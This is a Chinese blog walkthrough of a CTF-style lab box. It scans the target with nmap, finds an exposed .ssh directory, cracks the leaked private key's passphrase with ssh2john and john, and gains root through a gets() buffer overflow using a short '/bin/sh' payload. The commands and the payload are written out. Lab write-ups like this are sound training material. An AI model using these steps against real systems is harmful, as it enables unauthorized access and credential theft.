SSH-私钥泄露

0x00 环境配置

  1. SSH-私钥泄露靶机
  2. Kali 攻击机
  3. 靶机与攻击机处于同一网段

0x01 信息收集

  1. 寻找靶机IP

    可以使用netdiscover或者 nmap进行IP扫描

    netdiscover 10.112.132.0/24
    nmap 10.112.132.0/24
  1. 扫描服务

    因为是使用了nmap进行了扫描IP , 所以顺便把服务也一起扫描了

    nmap -A -T4 10.112.132.16

    nmap.jpg

  1. 目录扫描

    从nmap扫描结果得知 , 一共存在3个端口 22(SSH) , 80(HTTP) , 31337(ELIET) , 在nmap 综合扫描选项扫描靶机 , 能发现 31337也是运行Http服务 , 对两个Http服务的端口进行目录扫描 , 80结果为空 , 31337结果发现.ssh文件夹

    dirsearch

    robots.txt 有个/taxes目录 , 访问得到一个Flag

    robots.txt

    Flag1

    访问.ssh下载三个文件

    ​ a. authorized_keys - 公钥

    ​ b. id_rsa - 私钥

    ​ c. id_rsa.pub - 私钥证书

0x02 SSH连接

关于SSH的一些知识-转自TelCruel 传送门

  1. 公钥

    查看公钥发现用户名为simon

    autorized_keys

  1. 私钥

    尝试使用公钥登录 , 提示没权限

    ssh -i id_rsa simon@10.112.132.16

    Permission_Denied

    修改权限 , 再次尝试登录 , 提示需要密码

    chmod 600 id_rsa
    ssh -i id_rsa simon@10.112.132.16

    SSH_login_not_password

  2. 破解私钥

    使用ssh2john对 id_rsa 秘钥信息转为 John可以识别的信息 , 让使用zcat 破解isacrack 信息

    /usr/share/john/ssh2john.py id_rsa > isacrack
    zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules isacrack

    Zcat&Join

    破解出密码为: starwars , 再次登录

    SSH_login

  1. 信息收集

    在root 目录下 有个 flag.txt与 ‘read_message.c’ , flag.txt没权限打开 , read_message.c查看发现第二个flag , 且提示我们需要执行这个源码

    Flag2

    查找已经编译的程序,并执行

    find / -name "*read_message*" 2>/dev/null

0x03 提权

​ 这个程序是一个简单的溢出攻击(然而我不会 (汗颜)),直接照搬TelCruel的WP了

 这里因为gets(buf)没有限制读取的长度,但是buf[]这个数组只能储存20个字符,那么超过20个字符的就会存入缓冲区,将后面的内容覆盖。然后当执行到execve的时候原来要执行program[]内的字符,被覆盖后就可以利用了。所以只要输入SimonAAAAAAAAAAAAAAA/bin/sh,即可进入root的shell

​ 执行后 , 权限提升至root , 查看flag.txt 得到 第三个Flag

Flag3


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!